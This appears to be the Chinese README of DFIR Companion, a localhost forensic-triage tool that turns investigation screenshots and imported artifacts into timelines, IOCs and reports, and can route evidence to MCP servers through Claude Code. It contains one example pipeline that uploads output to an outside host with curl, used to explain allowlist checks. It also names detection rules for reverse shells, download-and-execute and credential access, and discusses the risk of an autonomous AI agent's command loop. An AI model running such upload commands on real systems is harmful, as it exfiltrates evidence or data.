DFIR 取证配套服务器 + 捕获扩展
AI 辅助的 DFIR 分类排查——就在你的机器上。 将调查截图和导入的 工件转化为取证时间线、发现、IOC、资产↔IOC 图谱以及可共享的报告; 用通俗英语向案件提问,并与其他调查人员协作。
一个本地主机的数字取证/事件响应助手。浏览器扩展 捕获你的调查截图(Velociraptor、EDR/SIEM 仪表盘、Security Onion、Splunk4DFIR、VolWeb、VirusTotal 等)作为 证据;本地服务器存储它们,运行窗口化 AI 视觉分析,形成 不断累积的按案件调查状态,并提供实时仪表盘以及 可导出的报告。
一切都在你的机器上运行——该助手仅绑定到 127.0.0.1,证据
保留在磁盘上,AI 提供商由你选择。
检测后分析层。 DFIR Companion 不是检测引擎——它摄取来自 Velociraptor、Security Onion、Chainsaw、Hayabusa、THOR、Cyber Triage、EDR/SIEM 的判定结果, 将它们关联到一条取证时间线中,并综合出发现、攻击者路径、IOC 和报告。 其价值在于**“那又怎样”**,而不是重新推导告警。
演示案例:https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
动手实验:https://killercoda.com/dfir-companion/scenario/killercoda
用户手册:https://hasamba.github.io/DFIR-Companion/manual/
companion/.env)演示案例:GlobalTech Industries——BEC 与勒索软件前兆,2026 年 5 月。
一个完全预填充的案例,你无需导入任何真实证据即可探索——发现、IOC、 MITRE 技术、分析师标签/评论、客户暴露数据以及报告元数据都已 预先植入,因此每个仪表盘面板都有内容可展示。
一键加载——点击仪表盘工具栏中的 Demo case 按钮。它同样适用于 便携式 Windows EXE(无需 Node 或
npm)。如果案例已存在,该按钮会在 覆盖前进行确认。或从 CLI 植入(开发 / Docker):
cd companion && npm run seed-demo # creates case id "demo" npm run seed-demo -- --force # overwrite an existing demo case npm run seed-demo -- --case-id globaltech # use a custom id然后打开
http://127.0.0.1:4773/dashboard并连接到该案例。
AI 生成的案件摘要、逐分钟叙述以及攻击者路径记录——从初始 访问到勒索软件部署。
已分析事件,带有严重性过滤器、分类标签、逐行详情链接以及导入变更 跟踪(带可展开差异的新事件横幅)。
所有曾导入的事件,在范围/严重性过滤之前——可过滤、打标签、加星标,并将行 提升到已分析的取证时间线中;不会删除任何内容,这是一个超集视图。
按资产(Y 轴)和时间(X 轴)展示事件的可视化图表,按严重性着色——拖动时间 轴可将取证时间线过滤到某个范围。
AI 生成的发现,带有置信度分数、分析师分类标签以及 MITRE ATT&CK 技术 链接;跟踪自上次综合运行以来发生的变化。
按 MITRE ATT&CK 战术分桶的事件——这是一种分类,而非已确认的杀伤链阶段, 以确定性方式推导,不使用 AI。
标准 DFIR 问题根据综合后的案件自动回答(已回答 / 部分回答 / 未知), 每个都带有证据指针或“接下来收集这个”的指令。
根据发现和推荐的后续步骤自动推导出的可操作修复清单;在每次综合运行时 重新同步,同时保留分析师状态、负责人和截止日期。
哪些主机/账户承载了攻击,按信号(严重性加权事件 + 技术 + 关联 IOC)而非数量评分,并带有建议的范围窗口。
进程树、横向移动和文件谱系拼接成一张因果攻击图谱。以确定性方式 从导入器填充的字段推导——无 AI、无成本、离线运行。
谁在哪里登录——从超级时间线登录事件中链接账户和主机,区分 成功、失败和高风险(RDP/runas/netonly)登录。
周期性出站通道过于规律,不可能是人类流量——这是狩猎线索,而非定论,带有 每个候选的间隔、抖动和事件计数。
指标(IP · 域名 · 哈希 · 文件 · 进程 · 账户)针对 VirusTotal、
AbuseIPDB、ThreatFox 和其他提供商进行增强——判定徽章、检测分数、NEW 导入
高亮以及分析师分类标签。
交互式图谱,将受害主机和账户链接到接触过它们的指标,外加一份 已知受陷主机和用户的列表。
drop/ 文件夹中的文件会在后台导入,移动到 _processed/ 或 _failed/,并记录到 drop-log.txt;asset=<HOST> 子文件夹命名主机.evtx 逐字节保留,解析器版本和退出代码记录在保管链中,故障关闭,默认关闭DFIR_DEDUP=off 禁用)所有导入器都是确定性的(无 AI 调用),读取工件自身的时间戳,并用真实工具名标记事件以进行跨来源关联。同一文件可以重新导入而不会重复时间线。
object/action/properties,epoch-ms timestamp_ms)——进程/流/登录/注册表/模块/文件/线程事件 | Info 证据;LOLBin/编码命令行提升(公网 IP → IOC) |
| Windows 事件日志 XML | 事件查看器“另存为 XML”、wevtutil qe /f:xml、Get-WinEvent … ToXml()(Security、Sysmon、System、任意通道) | Windows/Sysmon 按 EID 表 |
| Chainsaw | EVTX 狩猎 JSON/JSONL(chainsaw hunt --json);可通过工具运行器直接在原始 .evtx 上运行 | 匹配的 Sigma 规则级别 |
| Hayabusa | json-timeline 或 csv-timeline | 匹配的 Sigma 规则级别 |
| Velociraptor | JSON 数组、JSONL 或 artifact map | Sigma/YARA 判定或按 EID |
| THOR (Nextron) | JSON-Lines 扫描输出 | THOR 告警级别 |
| Suricata / Zeek | eve.json、Zeek JSON 日志;遥测 → 仅 IOC | 告警优先级 / notice 严重性 |
| | 单行告警日志 | 规则 (1→High / 2→Medium / 3→Low) |
| | CLI 扫描输出(规则匹配 + 字符串/meta) | 每次匹配 Info→Medium;根据规则 / meta 提升 |
| | Apache/Nginx/Squid 日志格式(Web 服务器或正向代理访问日志);捕获请求 URL、(URL/Referer 中的机密 + 扫描器/机器人/注入 UA 作为事件 + IOC 保留) | 默认 Info;访问被拒(401/403/407)→ Low;git smart-HTTP clone/push → T1213 |
| | Built/Teardown/Deny 消息 | 默认 Info(遥测);显式 → Low |
| | RFC 5424()+ RFC 3164()Linux/Unix 主机日志 | 默认 Info(遥测);认证失败或 crit/alert/emerg PRI → Low |
| | SOC Alerts/Hunt 事件(ECS);由扩展或 SOC API 导出推送 | (Suricata/SO 标签) |
| | Suricata 告警 + YARA 文件匹配()和 Sigma 检测();由扩展或原始导出推送 | Suricata 优先级 / Sigma 级别 / YARA 匹配 |
| | JSONL / JSON / CSV 时间线 | Cyber Triage 项目评分 |
| | UAL、Entra 登录 + 审计日志 | BEC 手法表 / Entra riskLevel |
| | System Log 导出 | IdP 手法表(MFA 被禁用、授予管理员、签发 API 令牌、会话被冒充)——而非供应商的运营评级 |
| | 管理员 + 登录审计 | IdP 手法表(2SV 被禁用、授予角色、OAuth 已同意、添加邮件监控) |
| | Chrome/Edge/Brave 历史记录、下载、解释(JSON 或 CSV) | —(Info 事件:浏览器工件是证据,不是判定) |
| | 统一日志()、LSQuarantine 下载事件、 属性、launchd plists、登录项(经典 plist、、BTM) | 隔离记录 ↔ 文件属性 ↔ 浏览器访问 ↔ 进程启动通过标识符关联;plist 读作配置,绝不读作一次运行 |
| | 来自 LEAPP TSV 导出的 iOS + Android 提取工件 | —(Info 事件;以时间戳列为键的通用解析器) |
| | Records JSON、NDJSON、Athena | API 操作表(IAM/日志/S3/机密) |
| | Cloud Audit Logs、Azure Activity Log | 操作表(IAM/日志/机密) |
| | API 服务器审计日志( JSON-lines / EventList) | (verb, resource) 表——pod exec/attach T1609、secret 访问 T1552.007、RBAC 变更 T1098、特权 pod T1610/T1611、匿名访问 T1078 |
| | 计划查询结果日志(差分 + ) | Info 遥测;对命令行列进行保守手法提升 |
| | CSV(dynamic + l2tcsv) | —(Info 事件) |
| | CAPEv2 、Falcon Sandbox 摘要 | 样本判定 + 行为签名 |
| | Volatility 3()+ Rekall:pslist/pstree、netscan、malfind、cmdline、svcscan;JSON 运行信封(命令、退出状态、stderr)与导出并排导入 | malfind 注入代码 → High(T1055);列表 → Info/Low;零行或失败的运行说明其确立了哪些内容 |
| | 插件表 + | 相同的插件映射;内存 YARA 命中 → Low,密集的多规则集群 → Info;披露行数上限 |
| | 案例 / 告警 JSON 导出、可观察对象列表(TheHive 5) | TheHive 严重性 1–4;MITRE 来自 ATT&CK 标记的标签 |
| | (RFC 2822)、尽力支持 | SPF/DKIM/DMARC 失败 → 发件人欺骗启发式(T1566 钓鱼) |
| | / (bash + zsh 扩展历史) | 默认 Info;对手法进行保守提升(反向 shell、下载并执行、凭据访问、日志/历史篡改、横向 SSH) |
| | SSH authorized keys、cron、systemd units、shell profiles、SUID 列表和来自一次收集的 PATH | 全局可写载荷、root 运行用户可写文件、setuid 解释器;仅存在本身不评级 |
| | 原始 / 记录、 表 | 记录类型表(登录、账户管理、sudo、SELinux、审计篡改) |
| | / | syslog PRIORITY + 手法提升(sshd、sudo、useradd) |
| | Falco 告警 JSON、sysdig 事件 JSON | Falco 规则优先级;原始系统调用 → Info 遥测 |
| | / NDJSON,或 API 导出() | (≥13 Critical、≥10 High、≥7 Medium) |
| | Velociraptor / EDR 导出 | — |
| | 防火墙、syslog、VPN;重复行 → 计数模式 | AI 分诊 |确定性手法评级 — Windows/Sysmon、ECAR 和内存命令行会根据从 110 多起真实入侵(The DFIR Report、Huntress)中收集的规则进行评级:高置信度手法 → High 及其 ATT&CK 技术(Defender 禁用、恢复抑制、凭据转储、反向隧道、Impacket、RMM/C2、云外泄……),双重用途 → Medium;纯发现被标记但从不升级。
runas /netonly)→ Medium$SI/$FN 时间戳不匹配标记为可能的时间戳篡改 → Mediumrclone/restic/megasync/megacmd 执行Zone.Identifier 标记会与同一文件的 Prefetch、进程启动和存在记录对照读取,仅当执行时间晚于它时才提升;隐藏流载荷按内容评级,而非按名称cmd.exe、投放的工具)DFIR_JEV_ENABLED)DFIR_SYNTH_ADVERSARY_HINTS)DFIR_SHODAN_KEY? 按钮会在新标签页中打开在线用户手册manual,在重新分析后仍保留)DFIR_CROSS_CASE=on,否则关闭$0.00)DFIR_MAX_EVENTS)— 覆盖默认的每次导入 2000 事件安全上限DFIR_LOG_LEVEL 实时切换;debug 跟踪 AI/捕获/OCR/匿名化choco install dfir-companion;下载 + 验证便携式构建 + 捆绑捕获扩展,数据位于 %LOCALAPPDATA%docker compose up;证据位于主机卷,无捆绑 AI 后端Companion 可以将案件证据指向你运行的 MCP 服务器——SIFT 工作站、REMnux 机器、 Windows 分类基线服务——因此证据会在拥有相应工具的机器上进行分析。
它仅通过 Claude Code 访问它们。 Companion 不是 MCP 客户端:它不持有服务器
URL、不持有 bearer token,也不会自行启动任何 npx 或 uvx。Claude Code 已经配置了
你的服务器,并且已经持有它们的凭据,因此由它进行通信,Companion 请求它这样做。
整个功能仅在以下情况下有效:
claude 不在其 PATH 中,请设置 DFIR_AI_CLAUDE_CODE_BIN。claude mcp add …,或其配置文件),并且
claude mcp list 显示它们已连接。没有回退方案。如果你在 Docker 中、从 AppImage 或从便携式 Windows 构建运行 Companion,而没有 Claude Code 与之并存,MCP 路由会告诉你这一点,除此之外别无其他。
在你依赖它之前,有两个值得了解的后果。每次 MCP 调用都会经过模型,因此它会 消耗 token,并且不是直接 JSON-RPC 请求那种逐位确定性的调用——提示词使其成为 传输层(一个工具、精确参数、逐字输出),但中间仍然有一个模型。而且由于服务器来自 Claude Code 自身的配置而不是生成的配置,Claude Code 每次运行都会启动它配置的每个服务器, 而不仅仅是被使用的那个;允许列表限制的是可以调用什么,而不是会启动什么。
在 设置 → 工具 中,按 Refresh from Claude Code 加载其服务器列表,然后允许一个 并说明它可以做什么。除了策略之外无需输入任何内容——服务器名称来自 Claude Code 本身,因此拼写错误不会让你留下一个静默匹配不到任何内容的条目。
POST /cases/<id>/mcp/<serverId>/run,带有 { tool, args, targetPath }。将 <target> 放在
工具期望证据路径的位置——在交付运行后,它会被替换为分析主机上的路径,
因此你写的参数就是工具接收到的参数:```json
{ "tool": "run_command",
"args": { "command": ["vol.py", "-f", "", "pslist"] },
"targetPath": "imports/memory.raw" }
`targetPath` 在案例目录内解析;任何位于其外部的路径都会被拒绝。对于浏览器持有而服务器没有路径的样本,`POST /cases/<id>/mcp/<serverId>/run-upload` 改为接收 `{ filename, dataBase64 }`,并先将字节暂存到案例内。
两者都返回 **202 及一个作业 ID**,而不是阻塞等待。一次真实的 Volatility 运行会超出任何合理的请求超时,因此该运行是一个带有进度、取消按钮和 WebSocket `job_changed` 广播的后台作业。结果通过与所有其他工具相同的导入链流入案例——时间线事件、发现和 IOC,并带有撤销检查点——因此读取结果与普通导入没有任何不同。结构化输出被路由到匹配的导入器;非结构化文本则落入通用日志路径,而不是被拒绝。
一个报告自身失败的工具会使作业失败,而不是被摄取:错误消息是诊断信息,不是工件,将其归档到时间线中会让它看起来像证据。
### 导入前预览
**默认开启**,并且值得保持开启。MCP 服务器会像返回证据一样轻易地返回参考数据——问 SIFT 它有哪些工具,你会得到一个 JSON 清单,其结构上与 Volatility 表格完全相同:一个没有时间戳的对象数组。没有检测器能区分它们,因此导入器会做它们被构建来做的事,并提取其中的每个路径作为文件指标。一个能力列表就是案例从未想要的几十个 IOC。
开启预览后,运行会获取输出并停止。你会看到字节、大小,以及它*将会*作为哪种类型导入,然后做出选择。批准会摄取**已经获取的确切字节**——它绝不会重新运行工具,因此一次二十分钟的 Volatility 运行只花费二十分钟一次,而一个有副作用的工具只执行一次。丢弃会扔掉输出,案例不受影响。
在运行中发送 `preview: true` 以从 API 使用它,然后对 `/cases/<id>/mcp/preview/<jobId>` 执行 `GET`、`POST …/import` 或 `DELETE`。
这里没有任何东西可以替代对运行什么的判断,而不经预览就导入并不危险——每次 MCP 导入都会推送一个撤销检查点,因此一次被证明是噪音的运行只需点击一下即可回滚。
### 使用服务器授予了什么
**默认情况下,服务器提供的一切。** 这是有意为之:Claude Code 已经允许你调用你所配置的任何服务器上的任何工具,因此要求你在这里重新枚举它们会比你自己日常使用更严格——而且还会成为描述同一服务器的第二个地方。
值得了解“一切”包括什么。有些服务器暴露细粒度工具——`check_service`、`check_autorun`,每个问题一个。另一些则暴露一个单一的**命令运行器**,执行你交给它的任何东西:SIFT 的 `run_command` 声明它可以执行“大多数 SIFT 安装的工具……包括 curl、wget、dd、fdisk 和 python3”,而 REMnux 的 `run_tool` 接收整个 shell 管道。从 Companion 使用这样的服务器意味着在该主机上执行命令——在隔离的取证网络上这是合理的,那里分析机是你自己的,证据已经在你的 LAN 上,而在其他任何地方都不合理。
当你想要收窄时,有两个**可选**列表可以做到:
| 设置 | 适用于 | 留空意味着 |
|---|---|---|
| **限制到工具** | 每次调用 | 服务器提供的每个工具 |
| **限制到命令** | 携带命令参数的调用 | 无命令限制 |
命令按**基名**匹配,因此 `grep` 和 `/usr/bin/grep` 是同一条规则。管道的每个阶段都会被检查,而不仅仅是第一个——`oledump.py s.doc | curl -T - http://elsewhere` 需要同时允许 `oledump.py` 和 `curl`。使用 shell 替换(`$(…)`、反引号、`${…}`)的命令会被直接拒绝,因为它将运行什么无法事先得知。
**命令列表不做什么。** 它限制*哪些*二进制文件运行,从不限制一个被允许的二进制文件能做什么——允许 `dd` 就允许写入该服务器用户可写入的任何路径;允许 `python3` 就允许任意代码。它还依据众所周知的参数名(`command`、`cmd`、`argv`)来识别,因此一个将其命令参数命名为不寻常名称的服务器不会被捕获。它的存在是为了帮助想要收窄自己访问权限的操作员,而不是为了遏制一个他们本就不该配置的服务器。
### 将证据送到服务器
MCP 没有文件传输原语,而一个数 GB 的内存镜像无法在工具参数内传输,因此文件必须已经位于服务器可以打开的地方。这部分仍然是 Companion 的职责——Claude Code 无法将镜像移动到分析机上。每个服务器选择两种路由之一:
**`remote-path`**(默认)——证据已经通过共享挂载对分析主机可见。设置本地前缀和远程前缀,路径会被重写(`/srv/cases/…` → `/mnt/dfir/…`);当挂载在两侧路径相同时,将两者都留空。不会复制任何东西。
**`scp`**——Companion 将文件推送到暂存目录,工具运行,之后暂存的副本被删除。配置 `host`、`remoteDir`,可选 `user`、`port` 和 `identityFile`。
选择 `scp` 之前需要知道四件事:
- **主机密钥必须已经被信任。** `BatchMode` 已开启,且 `StrictHostKeyChecking` *未*被禁用,因此未知主机会以 `Host key verification failed` 失败,而不是信任任何响应该地址的东西。先手动连接一次(或将密钥添加到 `known_hosts`)。这是有意为之:静默接受未验证的密钥会把证据交给任何持有该 IP 的人。
- **认证仅基于密钥。** `BatchMode` 意味着 ssh 从不提示,因此仅密码的主机无法工作。将 `identityFile` 指向一个没有密码短语的密钥,或将其加载到服务器进程可访问的 agent 中。
- **没有进度,也没有续传。** 一次 16 GB 的复制在完成或失败之前是不透明的,连接中断意味着从头开始。传输可取消,并有自己的一小时超时,与工具调用超时分开。
- **主机、用户和远程目录被限制为保守的字符集**(字母、数字、点、短横线、下划线,目录还允许 `/`)。`user@host` 未经引号到达 ssh,因此任何具有 shell 含义的内容在保存时就会被拒绝,而不是在传输时。暂存文件名派生自证据名称,并以相同方式清理。
两种路由都会记录一个**保管链 `transferred` 事件**,指明目的地,因此案例文件会显示证据离开了这台机器、何时离开以及去了哪里。失败的传输不记录任何内容——保管链从不声称一次未发生的复制。
### 用平实英语进行 MCP 调查
单次工具调用无法追踪一条线索。“调查这个转储”想要一个循环——运行 pslist,注意到某些东西,转向 malfind——而这正是 agentic 模式所做的:它让 Claude Code 针对你允许的服务器进行驱动,然后合并它报告的内容。这是仪表板中的主要 MCP 工作流:用平实英语写下目标,选择或浏览到证据,选择 MCP 应用,然后按 **Investigate**。工具名称和 JSON 参数仅在高级手动调用部分下可用。
`POST /cases/<id>/mcp/agent` 带 `{ prompt, servers?, targetPath?, preview? }`,或 `POST /cases/<id>/mcp/agent-upload` 带 `{ prompt, servers, filename, dataBase64, preview? }`。
**在允许服务器之前阅读此内容。** 在手动运行中,Companion 控制每次调用,因此每次调用都通过工具*和*命令允许列表。在 agentic 模式下则不是:`claude` 直接与服务器对话。只有工具允许列表保留下来,作为 `--allowed-tools`。**命令允许列表无法强制执行。** 因此,让 agent 使用命令运行器工具会授予一个自主循环在该主机上选择自己命令行的能力。
在 Companion 中允许并启用 MCP 服务器是此模式的权限边界。服务器的工具限制仍然适用。命令限制无法约束自主循环;它仅适用于高级手动调用。
该模式仍然保证什么:显式的工具限制会逐个工具传递;空白限制有意允许该服务器暴露的每个工具。项目/本地设置、`CLAUDE.md` 文件和钩子被排除,且运行有轮次限制。Claude Code 的用户设置保持启用,因为其 MCP 服务器连接就在那里。
agent 的回复在合并前经过模式验证并剥离来源声明——它看到的一切都来自工具输出,而工具输出是不可信的。它从不被要求提供案例摘要,因此一次运行会添加发现、IOC 和事件,而不会重写你的结论。预览在这里也有效,而且更重要:一个自主循环自行决定报告什么。
调查上限为 40 轮。如果 Claude Code 在使用工具时消耗完该预算,Companion 会在所有工具禁用的情况下恢复同一会话一次,并要求它仅根据已收集的证据进行报告。这保留了安全边界,而不会仅仅因为其最终 JSON 本会是下一轮就丢失一次已完成的调查。
### 凭据
这里没有需要配置的。Bearer 令牌、标头和传输都存在于 Claude Code 自己的 MCP 配置中,那是唯一持有它们的地方。Companion 存储一个服务器*名称*、一个允许列表和一个投递块——没有任何能让它自行连接到任何东西的内容。
如果你去查看,有一个注意事项:`claude mcp list` 会打印每个服务器的完整命令行,对于 `mcp-remote` 条目,其中包含明文 bearer 令牌。Companion 仅从该输出中解析名称和健康判定,从不存储、记录或渲染其余部分——但你自己运行该命令时要小心在哪里运行。
## 仓库布局```
52.43-DFIR-Companion/
├── companion/ Node/TS localhost server (the core). See companion/README.md.
├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│ └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│ └── superpowers/plans/ The original 4 implementation plans.
├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.
Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘
**两阶段分析:** 一个低成本的视觉模型将每张截图读取到取证时间线中;一个更强的模型执行单次整体综合调用(发现、MITRE、攻击者路径、问题)。通过 `.env` 配置两者——参见 `companion/README.md`。
## 快速开始
> **前提条件:** [Node.js](https://nodejs.org/) **22.19 或更高版本**(自带 `npm`)。
> 使用 `node --version` 检查。以下所有内容均使用 `npm`,因此不需要其他运行时。
> 索引案件存储使用内置的 `node:sqlite` 模块,因此较旧的 Node 版本无法打开
> 案件。便携式构建捆绑了兼容的运行时。
1. **Companion**(服务器): ```
git clone https://github.com/hasamba/DFIR-Companion.git
cd DFIR-Companion/companion
npm install
cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard)
扩展(捕获):
最简单的方式: 直接从
Chrome 应用商店安装。
在 Firefox 140+ 上,从
最新版本下载 dfir-capture-extension-firefox-*.zip 并解压。
或者从源码构建: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json
在 Firefox 上,从 about:debugging#/runtime/this-firefox 加载它 → 加载临时附加组件…
然后选择 manifest.json 文件(Chrome 要求选择文件夹;Firefox 不需要)。Firefox
会在重启时丢弃临时附加组件,因此每次会话都需要重复此操作——目前还没有 AMO 上架,
所以发布 zip 是未签名的,无法永久安装。
它会收集什么,因为临时加载从不询问。 Firefox 仅对正常安装的已签名附加组件 显示其数据收集通知;
about:debugging会静默授予一切权限。该扩展声明了 浏览活动(一次捕获会携带标签页的 URL 和标题)和 网站内容(截图,以及 Push 抓取的行)。该扩展会将其发送到你配置的伴随地址,不会发送到其他地方; 伴随程序之后转发的内容——视觉模型读取截图,AI 合成读取行,富化查询信誉服务—— 是伴随程序自身的配置。参见 extension/PRIVACY.md。
弹出窗口只会 附加 到现有案例——你在仪表板中创建案例。
http://127.0.0.1:4773/dashboard,点击 + New case 创建你的案例(它会
自动连接)。然后在扩展弹出窗口中从 Case 下拉菜单中选择该案例
(如果尚未列出,请点击 Refresh cases),然后点击 Start。浏览你的证据——
仪表板会实时更新。要更新现有检出? 在
git pull之后,在 两个 目录中重新运行npm install:companion/和extension/——新功能可能会添加依赖项(例如截图 OCR 脱敏添加了tesseract.js)。然后重启npm run dev(服务器代码在启动时 只加载一次)。
完整配置、HTTP 端点、案例文件夹布局以及分析模型 记录在 companion/README.md 中。
在一个容器中运行整个系统——伴随服务器 + 仪表板 + 浏览器附加组件。
不捆绑 Ollama 或 LiteLLM;对于 AI,你将 DFIR_AI_* 指向任何 OpenAI 兼容的
端点(你托管的模型、远程提供商,或你单独运行的 Ollama/LiteLLM)。在未设置 AI 的情况下,
容器仍会进行完整捕获和所有确定性导入器。
前提条件: 带有 Compose 插件的 Docker (
docker compose version)。
设计上仅限本地主机: 容器在内部绑定 0.0.0.0,但 Compose 将
端口发布到主机上的 127.0.0.1——因此仪表板永远不会暴露在你的网络上。
或者直接从 GHCR 拉取预构建镜像,而不是自行构建: ``` docker compose pull && docker compose up -d
2. **加载扩展程序**(捕获)。容器在首次启动时会将预构建、已解包的扩展程序写入
`./addon`。在 Chrome/Comet 中打开 `chrome://extensions`,启用 **开发者
模式**,点击 **加载已解压的扩展程序**,然后选择 **`./addon/dist`**(打包好的
`dfir-companion-extension.zip` 也会被放到那里)。
3. 打开 `http://127.0.0.1:4773/dashboard`,点击 **+ New case**,然后在
扩展程序弹窗中选择该案例并点击 **Start**。
**数据与配置:**
- 证据和案例状态持久保存在主机上的 **`./cases`** 中(挂载卷)——在
重启和镜像重建后依然保留。
- 通过 [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml) 中的 `environment:` 块进行配置,或者
取消注释 `env_file: - .env` 以使用 `.env` 文件(复制 `companion/.env.example`)。
- 要访问运行在主机上的 AI 端点,请使用 `http://host.docker.internal:<port>/v1`
(在没有 Docker Desktop 的 Linux 上,还需取消注释 compose 文件中的 `extra_hosts` 行)。
## Windows (Chocolatey)
使用 [Chocolatey](https://chocolatey.org/) 安装便携式 Windows 构建版本——无需 Node.js。
在提升权限的 shell 中:```
choco install dfir-companion
dfir-companion # → http://127.0.0.1:4773/dashboard
choco upgrade dfir-companion 会拉取下一个版本;choco uninstall dfir-companion
会移除二进制文件和 PATH shim。安装程序会下载与
Releases 页面 上发布的相同的便携式 zip,
并校验其 SHA256。
你的数据存放在你的用户配置文件中,而不是管理员拥有的安装目录:案件位于
%LOCALAPPDATA%\DFIR-Companion\cases,配置位于 %LOCALAPPDATA%\DFIR-Companion\.env
(从示例文件初始化;编辑它以填写 AI / 威胁情报密钥——全部可选)。卸载
会保留该文件夹,因此证据永远不会被删除。不会创建防火墙规则——服务器
仅绑定 127.0.0.1。
捕获扩展已捆绑在磁盘上的 %LOCALAPPDATA%\DFIR-Companion\extension 中,用于
离线安装(在气隙工作站上很方便)——通过 chrome://extensions →
开发者模式 → 加载已解压的扩展程序 → 该文件夹来加载它,或在发布后从 Chrome 应用商店安装。
它不会自动安装到浏览器中。
还没上架 Chocolatey 社区仓库?在它发布到那里之前,从 release 中获取
dfir-companion.<version>.nupkg,并在其文件夹中运行choco install dfir-companion --source .。 打包文件位于packaging/chocolatey/。
从
Releases 页面 下载 dfir-companion-<version>-x86_64.AppImage,然后:```
chmod +x dfir-companion--x86_64.AppImage
./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard
无需 Node — 它捆绑了服务器、仪表盘和镜像工具。**你的数据存放在你运行它的目录中:** `cases/`(证据 + 状态)和一个可选的 `.env`(AI / 威胁情报配置)会在你启动 AppImage 的位置旁边创建/读取。可通过 `DFIR_CASES_ROOT`(绝对路径)和 `DFIR_ENV_FILE`(配置文件的绝对路径)覆盖。
### 数据存放位置
| 安装方式 | 案件 + 状态 | 配置(`.env`) |
| ---------------------- | ------------------------------------- | ------------------------------------- |
| 源码 / `npm run dev` | `companion/cases/` | `companion/.env` |
| 便携式 Windows EXE | EXE 旁边的 `cases/` | EXE 旁边的 `.env` |
| Windows(Chocolatey) | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env` |
| Linux AppImage | `$PWD/cases`(启动目录) | `$PWD/.env`(或 `DFIR_ENV_FILE`) |
| Docker / Compose | 挂载的 `./cases` 卷 | `environment:` / `--env-file` |
所有位置均可通过 `DFIR_CASES_ROOT`(绝对路径)覆盖。
## 环境变量(`companion/.env`)
所有 companion 行为均通过环境变量配置(`companion/.env` 或 shell)。复制 `companion/.env.example` 即可开始 — 其中为每个变量都附有内联注释。
### 核心
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | 案件文件夹位置;相对路径相对于 `companion/` 解析 |
| `DFIR_PORT` | `4773` | 服务器端口(必须与扩展和仪表盘匹配) |
| `DFIR_HOST` | `127.0.0.1` | 绑定接口。未经身份验证的非回环绑定会被拒绝;Docker Compose 记录了其仅限主机回环的例外情况 |
| `DFIR_MAX_BODY_MB` | `256` | 最大上传大小(MB);如果大型 SIEM/EDR 导出因 HTTP 413 失败,请调高 |
| `DFIR_ALLOWED_ORIGINS` | _(无)_ | 允许调用 API 的额外浏览器来源,逗号分隔。捕获扩展、回环以及 companion 自身提供的任何来源始终受信任,因此 localhost/LAN/Docker 无需设置;其他所有 Web 来源均被拒绝。不发送 `Origin` 的调用方(curl、脚本、Velociraptor)不受影响。当仪表盘通过**主机名**提供服务时需要 — 例如反向代理或托管部署 |
| `DFIR_ALLOWED_HOSTS` | _(无)_ | 此 companion 响应的额外主机名,逗号分隔。回环和裸 IP 地址始终被接受,因此 localhost、Docker 以及通过 LAN 在 `http://192.168.1.50:4773` 访问仪表盘无需设置。任何未列出的**名称**都会被拒绝 — 这正是阻止 DNS 重绑定(恶意站点将其自己的域名指向你的机器)的机制。当反向代理转发的 `Host` 与你在 `DFIR_ALLOWED_ORIGINS` 中设置的来源不同时,请设置此项 |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(无)_ | 同上,但按域后缀匹配,例如 `.lab.example.com`,适用于每次会话生成新主机名的平台。匹配基于标签边界,因此 `.acme.com` 永远不会匹配 `evilacme.com` |
| `DFIR_LOG_LEVEL` | `info` | 日志详细程度(`debug`/`info`/`warn`/`error`)。同时输出到控制台 + `logs/session-<time>.log`(全局)+ `cases/<id>/logs/session-<time>.log`(按案件)。`debug` 会追踪 AI 调用、捕获、OCR、匿名化、富化。可通过 设置 → 日志详细程度 实时更改(无需重启) |
| `DFIR_LOG_DIR` | 案件根目录旁的 `logs/` | **全局**会话日志的文件夹。相对路径锚定到 `companion/`。按案件的日志始终保留在案件文件夹中 |
### 身份验证(可选团队部署)
`DFIR_AUTH_MODE=team` 启用 OIDC/本地登录、安全浏览器会话、按案件角色以及案件范围的服务身份。身份验证和身份提供程序设置属于部署安全控制:请在 `.env` 或密钥存储中配置,然后重启。完整变量列表、HTTPS 设置、首个管理员引导、角色矩阵、扩展令牌以及单写入者进程模型,请参阅[团队账户与案件角色指南](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md)。
### AI — 提取(启用分析所必需)
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`;未设置 = 仅捕获 |
| `DFIR_VISION_MODEL` | — | 模型 id(例如 `gpt-4o-mini`、`gemini-2.5-flash`);截图提取**必须支持视觉** |
| `DFIR_VISION_KEY` | — | 提供程序 API 密钥;对于无身份验证的本地代理或 `claude-code`(改用你已登录的 `claude` CLI 订阅)留空 |
| `DFIR_AI_CLAUDE_CODE_BIN` | PATH 中的 `claude` | 仅 `claude-code`:如果 `claude` 二进制文件不在 PATH 中,则为绝对路径 |
